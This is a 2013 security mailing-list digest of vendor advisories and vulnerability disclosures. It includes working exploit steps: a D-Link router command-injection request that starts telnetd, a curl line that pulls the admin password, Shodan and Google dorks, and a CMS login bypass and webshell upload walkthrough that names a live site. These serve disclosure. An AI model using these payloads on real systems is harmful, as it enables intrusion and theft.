APPLE-SA-2013-02-01-1 Java for Mac OS X v10.6 Update 12

2013-02-04 Thread Apple Product Security
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

APPLE-SA-2013-02-01-1 Java for Mac OS X v10.6 Update 12

Java for Mac OS X v10.6 Update 12 is now available and addresses the
following:

Java
Available for:  Mac OS X v10.6.8, Mac OS X Server v10.6.8
Impact:  Multiple vulnerabilities in Java 1.6.0_37
Description:  Multiple vulnerabilities exist in Java 1.6.0_37, the
most serious of which may allow an untrusted Java applet to execute
arbitrary code outside the Java sandbox. Visiting a web page
containing a maliciously crafted untrusted Java applet may lead to
arbitrary code execution with the privileges of the current user.
These issues are addressed by updating to Java version 1.6.0_39.
Further information is available via the Java website at http://www.o
racle.com/technetwork/java/javase/releasenotes-136954.html
CVE-ID
CVE-2012-3213
CVE-2012-3342
CVE-2013-0351
CVE-2013-0409
CVE-2013-0419
CVE-2013-0423
CVE-2013-0424
CVE-2013-0425
CVE-2013-0426
CVE-2013-0427
CVE-2013-0428
CVE-2013-0429
CVE-2013-0432
CVE-2013-0433
CVE-2013-0434
CVE-2013-0435
CVE-2013-0438
CVE-2013-0440
CVE-2013-0441
CVE-2013-0442
CVE-2013-0443
CVE-2013-0445
CVE-2013-0446
CVE-2013-0450
CVE-2013-1473
CVE-2013-1475
CVE-2013-1476
CVE-2013-1478
CVE-2013-1480
CVE-2013-1481


Java for Mac OS X 10.6 Update 12 may be obtained
from the Software Update pane in System Preferences or
Apple's Software Downloads web site:
http://www.apple.com/support/downloads/

The download file is named: JavaForMacOSX10.6.dmg
Its SHA-1 digest is: 0c790491ca22ee009086ee1ec1f1b358024dd83e

Information will also be posted to the Apple Security Updates
web site: http://support.apple.com/kb/HT1222

This message is signed with Apple's Product Security PGP key,
and details are available at:
https://www.apple.com/support/security/pgp/

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[SECURITY] [DSA 2614-1] libupnp security update

2013-02-04 Thread Yves-Alexis Perez
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA512

- -
Debian Security Advisory DSA-2614-1   secur...@debian.org
http://www.debian.org/security/ Yves-Alexis Perez
February 01, 2013  http://www.debian.org/security/faq
- -

Package: libupnp
Vulnerability  : several
Problem type   : remote
Debian-specific: no
CVE ID : CVE-2012-5958 CVE-2012-5959 CVE-2012-5960 CVE-2012-5961 
 CVE-2012-5962 CVE-2012-5963 CVE-2012-5964 CVE-2012-5965
Debian Bug : 699316

Multiple stack-based buffer overflows were discovered in libupnp, a library
used for handling the Universal Plug and Play protocol. HD Moore from Rapid7
discovered that SSDP queries where not correctly handled by the
unique_service_name() function.

An attacker sending carefully crafted SSDP queries to a daemon built on libupnp
could generate a buffer overflow, overwriting the stack, leading to the daemon
crash and possible remote code execution.

For the stable distribution (squeeze), these problems have been fixed in
version 1:1.6.6-5+squeeze1.

For the testing distribution (wheezy), these problems have been fixed in
version 1:1.6.17-1.2.

For the unstable distribution (sid), these problems have been fixed in
version 1:1.6.17-1.2.

We recommend that you upgrade your libupnp packages.

Further information about Debian Security Advisories, how to apply
these updates to your system and frequently asked questions can be
found at: http://www.debian.org/security/

Mailing list: debian-security-annou...@lists.debian.org
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[SECURITY] [DSA 2615-1] libupnp4 security update

2013-02-04 Thread Yves-Alexis Perez
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA512

- -
Debian Security Advisory DSA-2615-1   secur...@debian.org
http://www.debian.org/security/ Yves-Alexis Perez
February 01, 2013  http://www.debian.org/security/faq
- -

Package: libupnp4
Vulnerability  : several
Problem type   : remote
Debian-specific: no
CVE ID : CVE-2012-5958 CVE-2012-5959 CVE-2012-5960 CVE-2012-5961 
 CVE-2012-5962 CVE-2012-5963 CVE-2012-5964 CVE-2012-5965
Debian Bug : 699459

Multiple stack-based buffer overflows were discovered in libupnp4, a library
used for handling the Universal Plug and Play protocol. HD Moore from Rapid7
discovered that SSDP queries where not correctly handled by the
unique_service_name() function.

An attacker sending carefully crafted SSDP queries to a daemon built on
libupnp4 could generate a buffer overflow, overwriting the stack, leading to
the daemon crash and possible remote code execution.

For the stable distribution (squeeze), these problems have been fixed in
version 1.8.0~svn20100507-1+squeeze1.

For the testing distribution (wheezy), these problems have been fixed in
version 1.8.0~svn20100507-1.2.

For the unstable distribution (sid), these problems have been fixed in
version 1.8.0~svn20100507-1.2.

We recommend that you upgrade your libupnp4 packages.

Further information about Debian Security Advisories, how to apply
these updates to your system and frequently asked questions can be
found at: http://www.debian.org/security/

Mailing list: debian-security-annou...@lists.debian.org
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[SECURITY] [DSA 2617-1] samba security update

2013-02-04 Thread Luciano Bello
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

- -
Debian Security Advisory DSA-2617-1   secur...@debian.org
http://www.debian.org/security/ Luciano Bello
February 02, 2013  http://www.debian.org/security/faq
- -

Package: samba
Vulnerability  : several issues
Problem type   : remote
Debian-specific: no
CVE ID : CVE-2013-0213 CVE-2013-0214

Jann Horn had reported two vulnerabilities in Samba, a popular
cross-platform network file and printer sharing suite. In particular,
these vulnerabilities affect to SWAT, the Samba Web Administration Tool.

CVE-2013-0213: Clickjacking issue in SWAT
An attacker can integrate a SWAT page into a malicious web page via a
frame or iframe and then overlaid by other content. If an 
authenticated valid user interacts with this malicious web page, she 
might perform unintended changes in the Samba settings.

CVE-2013-0214: Potential Cross-site request forgery
An attacker can persuade a valid SWAT user, who is logged in, to
click in a malicious link and trigger arbitrary unintended changes in
the Samba settings.

For the stable distribution (squeeze), these problems have been fixed in
version 3.5.6~dfsg-3squeeze9.

For the testing distribution (wheezy), these problems have been fixed in
version 2:3.6.6-5.

For the unstable distribution (sid), these problems have been fixed in
version 2:3.6.6-5.

We recommend that you upgrade your samba packages.

Further information about Debian Security Advisories, how to apply
these updates to your system and frequently asked questions can be
found at: http://www.debian.org/security/

Mailing list: debian-security-annou...@lists.debian.org
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[SECURITY] [DSA 2616-1] nagios3 security update

2013-02-04 Thread Jonathan Wiltshire
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

- -
Debian Security Advisory DSA-2616-1   secur...@debian.org
http://www.debian.org/security/Jonathan Wiltshire
February 03, 2013  http://www.debian.org/security/faq
- -

Package: nagios3
Vulnerability  : buffer overflow in CGI scripts
Problem type   : remote
Debian-specific: no
CVE ID : CVE-2012-6096
Debian Bug : 697930

A buffer overflow problem has been found in nagios3, a host/service/network
monitoring and management system. A mailicious client could craft a
request to history.cgi and cause application crashes.

For the stable distribution (squeeze), this problem has been fixed in
version 3.2.1-2+squeeze1.

For the testing distribution (wheezy), this problem will be fixed soon.

For the unstable distribution (sid), this problem has been fixed in
version 3.4.1-3.

We recommend that you upgrade your nagios3 packages.

Further information about Debian Security Advisories, how to apply
these updates to your system and frequently asked questions can be
found at: http://www.debian.org/security/

Mailing list: debian-security-annou...@lists.debian.org
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Directory Traversal - EasyITSP = 2.0.7

2013-02-04 Thread Michał Błaszczak
Directory Traversal - EasyITSP = 2.0.7

EasyITSP - Telephone System VoIP

http://blaszczakm.blogspot.com
Michal Blaszczak

Search/Read/Delete filetype *.txt
Search/Play/Delete filetype *.wav - Voicemail

file: voicemail.php line: 220

foreach (glob($vmdir/$_SESSION[phone]/$vmfolder/*.txt) as $filename) {

file: voicemail.php line: 186 - 190

if(isset($_GET['folder'])) {
$vmfolder = $_GET['folder'];
} else {
$vmfolder = INBOX;
}

POC:
http:///easyitsp/WEB/customer/voicemail.php?currentpage=phonesfolder=../../

Michał Błaszczak
http://blaszczakm.blogspot.com


NGS00336 Patch Notification: Symantec Network Access Control Privilege Escalation

2013-02-04 Thread NCC Group Research
Medium Risk Vulnerability in Symantec Network Access Control 

04 February 2013

Gavin Jones of NCC Group has discovered a Medium risk vulnerability in Symantec 
Endpoint Protection Version 12.1.1000.157.105

Impact: Privilege escalation

Versions affected: Symantec Network Access Control v12.1 and previous 

An updated version of the software has been released to address the 
vulnerability:
http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisorypvid=security_advisoryyear=suid=20121210_00

NCC Group is going to withhold details of this flaw for three months. This 
three month window will allow users the time needed to apply the patch before 
the details are released to the general public. This reflects the NCC Group 
approach to responsible disclosure.

NCC Group Research
http://www.nccgroup.com


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NGS00315 Patch Notification: Symantec Enterprise Security Management Agent Privilege Escalation

2013-02-04 Thread NCC Group Research
Medium Risk Vulnerability in Symantec Enterprise Security Management 

04 February 2013

Gavin Jones of NCC Group has discovered a Medium risk vulnerability in Symantec 
Enterprise Security Management 9.0.1 Agent (version 9.0.1153.20001)

Impact: Privilege escalation

Versions affected: Symantec Enterprise Security Manager (and Agent) for Windows 
v10.x and previous 

An updated version of the software has been released to address the 
vulnerability:
http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisorypvid=security_advisoryyear=suid=20121213_00

NCC Group is going to withhold details of this flaw for three months. This 
three month window will allow users the time needed to apply the patch before 
the details are released to the general public. This reflects the NCC Group 
approach to responsible disclosure.

NCC Group Research
http://www.nccgroup.com


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[SE-2012-01] Details of issues fixed by Feb 2013 Java SE CPU

2013-02-04 Thread Security Explorations


Hello All,

Below, we are providing you with technical details regarding
security issues reported by us to Oracle and addressed by the
company in a recent Feb 2013 Java SE CPU [1].

[Issue 29]
This issue allows for the creation of arbitrary Proxy objects
for interfaces defined in restricted packages. Proxy objects
defined in a NULL class loader namespaces are of a particular
interest here. Such objects can be used to manipulate instances
of certain restricted classes.

In our Proof of Concept code we create such a proxy object for
the com.sun.xml.internal.bind.v2.model.nav.Navigator interface.
In order to use the aforementioned proxy object, we need an
instance of that interface too. We obtain it with the help of
Issue 28, which allows to access arbitrary field objects from
restricted classes and interfaces. As a result, by combining
Issue 27-29, one can use Navigator interface and make use of
its sensitive Reflection API functionality such as obtaining
access to methods of arbitrary classes. That condition can be
further leveraged to obtain a complete JVM security bypass.

Please, note that our Proof of Concept code for Issues 27-29
was reported to Oracle in Apr 2012 and depending Issues 27-28
were addressed by the company sooner than Issue 29. Testing
of the PoC will thus give best results on older versions of
Java SE 7.

[Issue 50]
Issue 50 allows to violate a fundamental security constraint
of Java VM, which is type safety. This vulnerability is another
instance of the problem related to the unsafe deserialization
implemented by com.sun.corba.se.impl.io.ObjectStreamClass class.
Its first instance was fixed by Oracle in Oct 2011 [2] and it
stemmed from the fact that during deserialization insufficient
type checks were done with respect to object references that
were written to target object instance created by the means of
deserialization. Such a reference writing was accomplished with
the use of a native functionality of sun.corba.Bridge class.

The problem that we found back in Sep 2012 was very similar to
the first one. It was located in the same code (class) and was
also exploiting direct writing of object references to memory
with the use of putObject method. While the first type confusion
issue allowed to write object references of incompatible types
to correct field offsets, Issue 50 relied on the possibility to
write object references of incompatible types to...invalid field
offsets.

It might be also worth to mention that Issue 50 was found to
be present in Java SE Embedded [3]. That is Java version that
is based on desktop Java SE and is used in today’s most powerful
embedded systems such as aircraft and medical systems [4]. We
verified that Oracle Java SE Embedded ver. 7 Update 6 from 10
Aug 2012 for ARM / Linux contained vulnerable implementation
of ObjectStreamClass class.

Unfortunately, we don't know any details regarding the impact
of Issue 50 in the embedded space (which embedded systems are
vulnerable to it, whether any feasible attack vectors exist,
etc.). So, it's up to Oracle to clarify any potential concerns
in that area.

[Issue 52]
Issue 52 relies on the possibility to call no-argument methods
on arbitrary objects or classes. The vulnerability has its origin
in com.sun.jmx.mbeanserver.Introspector class which is located
in the same package as the infamous MBeanInstantiator bug found
in the wild in early Jan 2013. The flaw stems from insecure call
to invoke method of java.lang.reflect.Method class:

if (method != null)
  return method.invoke(obj, new Object[0]);

In our Proof of Concept code we exploit the above implementation
by making a call to getDeclaredMethods method of java.lang.Class
class to gain access to methods of restricted classes. This is
accomplished with the use of the following code sequence:

Introspector.elementFromComplex((Object)clazz,declaredMethods)

Access to public method objects of arbitrary restricted classes
is sufficient to achieve a complete Java VM security sandbox
compromise. We make use of DefiningClassLoader exploit vector
for that purpose.

[Issue 53]
Issue 53 stems from the fact that Oracle's implementation of new
security levels introduced by the company in Java SE 7 Update 10
did not take into account the fact that Applets can be instantiated
with the use of serialization. Such a possibility is indicated both
in HTML 4 Specification [5] as well as in Oracle's code.

HTML 4 Specification contains the following description for the
object attribute of APPLET element:

object = cdata [CS]
   This attribute names a resource containing a serialized
   representation of an applet's state. It is interpreted
   relative to the applet's codebase. The serialized data
   contains the applet's class name but not the implementation.
   The class name is used to retrieve the implementation from
   a class file or archive.

Additionally, Java 7 Update 10 (and 11) reveal the following code
logic when it comes to 

[IMF 2013] Call for Participation

2013-02-04 Thread Oliver Goebel
Dear all,

please find enclosed the call for participation for IMF 2013.

See the program at:
http://www.imf-conference.org/imf2013/program.html

The conference will take place from Tuesday, March 12th through Thursday,
March 14th in Nuremberg, Germany.

Registration Details can be found at:
http://www.imf-conference.org/imf2013/registration.html

Early registration discounts will be available until February 25th, 2013.

Information on booking hotel rooms can be found here:
http://www1.gi-ev.de/fachbereiche/sicherheit/fg/sidar/imf/imf2013/location.html

Room allocations are not depleted yet and can be used until February 6th.


Please excuse possible cross postings.


CALL FOR PARTICIPATION

   IMF 2013

  7th International Conference
   on IT Security Incident Management  IT Forensics
 
March 12th - 14th, 2013
  Nuremberg,  Germany



Conference Background
=
Today IT security is an integral aspect in operating IT-Systems.  Yet,
despite high-end precautionary measures taken, not every attack or
security mishap can be prevented and hence incidents will go on
happening.  In such cases forensic capabilities in investigating
incidents in both technical and legal aspects are paramount.  Thus,
capable incident response and forensic procedures have gained essential
relevance in IT infrastructure operations and there is ample need for
research and standardization in this area.

In law enforcement IT forensics is an important branch and its
significance constantly increases since IT has become an essential part
in almost every aspect of daily life. IT systems produce traces and
evidence in many ways that play a more and more relevant role in
resolving cases.


Conference Goals

The IMF conference provides a platform for experts from throughout the
world to present and discuss recent technical and methodical advances in
the fields of IT security incident response and management and IT
forensics.  It shall enable collaboration and exchange of ideas between
industry (both as users and solution providers), academia,
law-enforcement and other government bodies.


CONFERENCE PROGRAM
==
Please find the conference program at:

   http://www.imf-conference.org/imf2013/program.html


REGISTRATION

Please find an overview of the conference fees as well as the
registration form at:

   http://www.imf-conference.org/imf2013/registration.html

Early registration discounts will be available until

  February 25th, 2013



Conference Chair

Felix Freiling
Friedrich-Alexander-Universitaet Erlangen-Nuernberg
chair-2...@imf-conference.org


Program Chair
=
Holger Morgenstern
IT Expert Witness, gutachten.info
pc-chair-2...@imf-conference.org


Sponsor Chair
=
sponsor-chair-2...@imf-conference.org 


Organizing Committee

Jack Cole
Ralf Ehlert
Felix Freiling
Sandra Frings
Oliver Goebel
Detlef Guenther
Stefan Kiltz
Holger Morgenstern
Jens Nedon
Dirk Schadt


Programm Committee
==
Rafael Accorsi, Universitaet Freiburg, Germany
Harald Baier, Hochschule Darmstadt/CASED, Germany
Davide Balzarotti, Institut Eurecom, France
Herbert Bos, VU Amsterdam, Netherlands
Susan Brenner, University of Dayton, USA
Levente Buttyan, TU Budapest/CRYSYS, Hungary
Jack Cole, US Army Research Laboratory, USA
Andrew Cormack, JANET, UK
Ralf Ehlert, Universitaet Magdeburg, Germany
Felix Freiling, Friedrich-Alexander-University (FAU), Germany
Sandra Frings, Fraunhofer IAO, Germany
Pavel Gladyshev, UCD, Ireland
Oliver Goebel, Universitaet Stuttgart, Germany
Bernd  Grobauer, Siemens CERT, Germany
Detlef Günther, Volkswagen AG, Germany
Vijay Gurbani, Bell Labs, USA
Daniel Hammer, Hochschule Offenburg, Germany
Bernhard Hämmerli, ACRIS GmbH, Switzerland
Stefan Kiltz, Universitaet Magdeburg, Germany
Lam Kwok, PrivyLink International Ltd, Singapore
Jim Lyle, NIST, USA
Bob Martin, MITRE Corp., USA
Ralf Moll, LKA Baden-Wuerttemberg, Germany
Holger Morgenstern, gutachten.info, Germany
Jens Nedon, IABG mbH, Germany
Dirk Schadt, SPOT, Germany
Mark Schiller, Statton Security Ltd, UK
Marko Schuba, FH Aachen, Germany
Andreas Schuster, Deutsche Telekom, Germany
Asia Slowinska, VU Amsterdam, Netherlands
Marco Thorbrügge, ENISA, EU
Stephen Wolthusen, Royal Holloway, Univ. of London, UK


Steering Committee
==
Sandra Frings
Oliver Goebel
Detlef Guenther
Holger Morgenstern
Jens Nedon
Dirk Schadt


Under the Auspices of
=
German Informatics Society (GI e.V.)
Wissenschaftszentrum Ahrstr. 45, 53175 Bonn, Germany Tel.: +49 228 302
145, Fax: +49 228 302 167
Special Interest Group SIDAR


Supported by

Multiple Vulnerabilities in D'Link DIR-600 and DIR-300 (rev B)

2013-02-04 Thread devnull
Device Name: DIR-600 / DIR 300 - HW rev B1
Vendor: D-Link

 Vulnerable Firmware Releases - DIR-300: 

Firmware Version : 2.12 - 18.01.2012
Firmware Version : 2.13 - 07.11.2012

 Vulnerable Firmware Releases - DIR-600: 

Firmware-Version : 2.12b02 - 17/01/2012
Firmware-Version : 2.13b01 - 07/11/2012
Firmware-Version : 2.14b01 - 22/01/2013

 Device Description: 

D-Link® introduces the Wireless 150 Router (DIR-600), which delivers high 
performance end-to-end wireless connectivity based on 802.11n technology. The 
DIR-600 provides better wireless coverage and improved speeds over standard 
802.11g*. Upgrading your home network to Wireless 150 provides an excellent 
solution for experiencing better wireless performance while sharing a broadband 
Internet connection with multiple computers over a secure wireless network.

Source (dead): 
http://www.dlink.com/us/en/support/product/dir-600-wireless-n-150-home-r...
German website: 
http://www.dlink.de/cs/Satellite?c=TechSupport_Cchildpagename=DLinkEuro...

 Shodan Torks 

Shodan search:
Server: Linux, HTTP/1.1, DIR-300
Server: Linux, HTTP/1.1, DIR-600

 Vulnerability Overview: 

* OS Command Injection (unauthenticated) 

= Parameter cmd

The vulnerability is caused by missing access restrictions and missing input 
validation in the cmd parameter and can be exploited to inject and execute 
arbitrary shell commands.
It is possible to start a telnetd to compromise the device.

WARNING: You do not need to be authenticated to the device!

Screenshot: 
http://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/DIR-600-OS-Command-Injectino.png

starting a telnet server:
Request:
POST /command.php HTTP/1.1
Host: 192.168.178.222
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 
Firefox/16.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://192.168.178.222/
Content-Length: 15
Cookie: uid=hfaiGzkB4z
Pragma: no-cache
Cache-Control: no-cache

cmd=telnetd;

You do not need to be authenticated to the device for executing the malicious 
commands. You could prepare the whole request and execute it without any 
authentication details.

For example you could start the telnetd on other ports and interfaces. So with 
this you are able to get a full shell *h00ray*

Nmap Scan after starting the telnetd:
Nmap scan report for 192.168.178.222
Host is up (0.022s latency).
Not shown: 995 closed ports
PORT  STATESERVICE VERSION
1/tcp filtered tcpmux
23/tcpopen telnet  BusyBox telnetd 1.14.1 ==!!!
snip

Screenshot: 
http://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/DIR-600-OS-Command-Injection-telnetd.png

* Information disclosure: 

Nice server banner to detect this type of devices easily:
Server: Linux, HTTP/1.1, DIR-300 Ver 2.12
Server: Linux, HTTP/1.1, DIR-600 Ver 2.12

* For changing the current password there is no request to the current 
password 

With this vulnerability an attacker is able to change the current password 
without knowing it. The attacker needs access to an authenticated browser.

* Insecure Cryptographic Storage: 

There is no password hashing implemented and so it is saved in plain text on 
the system:
# cat var/passwd
admin test 0

Positive Technologies has released an advisory in 2011 and D-Link has fixed 
this issue:
http://en.securitylab.ru/lab/PT-2011-30
With the current version of the firmware the passwords are stored again in 
plaintext.

If you combine the plaintext credential vulnerability with the unauthenticated 
os command injection vulnerability you will get the following one liner to 
extract the admin password from every vulnerable device:

root@bt:~# curl --data cmd=cat /var/passwd http://Target IP/command.php
admin THESECRETPASS 0
root@bt:~#

* Information Disclosure: 

Detailed device information including Model Name, Hardware Version, Linux 
Kernel, Firmware version, Language and MAC Addresses are available via the 
network.

Request:
http://Target-IP/DevInfo.txt

or try to access version.txt and have a look at the html source ;)

Response:
HTTP/1.1 200 OK
Server: Linux, HTTP/1.1, DIR-600 Ver 2.14
Date: Fri, 31 Dec 1999 18:04:13 GMT
Content-Length: 267

Firmware External Version: V2.14
Firmware Internal Version: d1mg
Model Name: DIR-600
Hardware Version: Bx
WLAN Domain: 826
Kernel: 2.6.33.2
Language: en
Graphcal Authentication: Disable
LAN MAC: snip
WAN MAC: snip
WLAN MAC: snip

These details are available without authentication.

* Local path disclosure 

Every piece of information is interesting for the attacker. With this we will 
get some more details about the operating system and its paths.

Request:
http://IP/router_info.xml

Response:

0day full - Free Monthly Websites v2.0 - Multiple Web Vulnerabilities

2013-02-04 Thread Vulnerability Lab
Title:
==
Free Monthly Websites v2.0 - Multiple Web Vulnerabilities


Date:
=
2013-02-04


References:
===
http://www.vulnerability-lab.com/get_content.php?id=851


VL-ID:
=
851


Common Vulnerability Scoring System:

8.5


Introduction:
=
Free Monthly Websites 2.0 is here and you no longer have to worry about editing 
complicated HTML code as we have 
taken care of that for you, and you no longer have to worry about anything to 
do with website design as we have taken 
care of that for you too, adding your Google AdSense Publisher code, taken care 
of, ClickBank! All done for you, 
here\\\'s how it works. Upload Your Site To Your Domain (this can be done for 
you). Login To Your Admin Control Panel.
Personalize Your Website (takes just 5 minutes).

(Copy of the Vendor Homepage: http://www.freemonthlywebsites2.com/ )


Abstract:
=
The independent Vulnerability Laboratory researcher (x-Cisadane) discovered 
multiple web vulnerabilities in the Free Monthly Websites v2.0 CMS.


Report-Timeline:

2013-02-04: Public Disclosure


Status:

Published


Exploitation-Technique:
===
Defensiv


Severity:
=
Critical


Details:

Multiple web vulnerabilities are detected in the Free Monthly Websites v2.0 
Content Management System.
The first  bypass vulnerability allows attackers to bypass the system web 
application auth of the admin login.
The secound vulnerability allows to upload for example webshells and access 
them after upload via unauthorized web access.

Vulnerable Module(s):
[+] Login Auth (Admin) - Bypass
[+] Upload File - Unauthorized 
File Upload  Access


Proof of Concept:
=
The vulnerabilities can be exploited by remote attackers without required user 
interaction or privileged application user account.
For demonstration or reproduce ...

Dork(s):
inurl:/index_ebay.php
Powered by: Resell Rights Fortune
Generating Traffic to Your Site with Keyword Based Articles
Powered By: Free Monthly Websites 2.0
 

[ 1 ] Admin Login Bypass

Vulnerable page http://target.com/[path]/admin/index.php
Line 
40 form name=frm action=file_io.php method=post onSubmit=return chk()
41 input type=hidden name=do_type value=admin_settings_read

Vulnerable page http://target.com/[path]/admin/login.php
Line
40 form name=frm action=file_io.php method=post onSubmit=return chk()
41 input type=hidden name=do_type value=admin_settings_read

Vulnerable page http://target.com/[path]/admin/file_io.php

Line
14 if($_REQUEST[do_type]==admin_settings_read)
15 {
16  $filename=settings/admin_settings.txt;
17
18  if(!$handle = fopen($filename, 'r'))
19  {
20  echo Cannot open file ($filename);
21  exit;
22  }
23  $contents = fread($handle, filesize($filename));
24  fclose($handle);
25  $argument_arr=explode(#_1_#,$contents);
26
27  if($argument_arr[0]==$_REQUEST[username]  
$argument_arr[1]==$_REQUEST[pass])
28  {
29  $_SESSION[logged_in]=true;
30  header(location:welcome.php);

Based at line 16 we know that Admin Username and Password store in 
admin_settings.txt NOT on Database! 
So When we login into Admin Panel, file_io.php will Read Valid Username and 
Password from admin_settings.txt
If you do a direct access to the file admin_settings.txt, The results is 

403 Permission Denied
You do not have permission for this request /admin/settings/admin_settings.txt
Picture: http://i48.tinypic.com/2gvlwt4.png


So... How to Bypass Admin Login Page? 
1st. Open the Admin Login Page : http://target.com/[path]/admin/index.php 
Live Target : http://www.massmoneywebsites.com/admin/

2nd. Inspect Element on the login Form. 
Picture: http://i47.tinypic.com/2r5ddp1.png

3rd. Change from 
form name=frm action=file_io.php method=post onsubmit=return 
chk()/form
input type=hidden name=do_type value=admin_settings_read

CHANGE TO 
form name=frm action=file_io.php method=post onsubmit=return 
chk()/form
input type=text name=do_type value=admin_settings_write
Then press ENTER (please see pic).
Pic : http://i49.tinypic.com/351z3ib.png

4th. You will see A Login Failed Page :  You need to login in to access that 
page 
Picture: http://i50.tinypic.com/33ws8jb.png
Never Mind About that, just click 'Login Button' and VOILA you get and Admin 
Access!
Picture: http://i45.tinypic.com/jzwpea.png

[ 2 ] Upload PHP Backdoor or PHP Shell 

This vulnerability works on PREMIUM VERSION of Free Monthly Websites 2.0

So... How to Upload Backdoor (PHP Shell)?

1st. Go to Add/Remove Navigation Page. 
http://target.com/[path]/admin/add_main_pages.php
Live Target : http://www.massmoneywebsites.com/admin/add_main_pages.php

2nd. Enter a Name For Your New Navigation Page That You Wish To Add: dwi.php 
And click Add New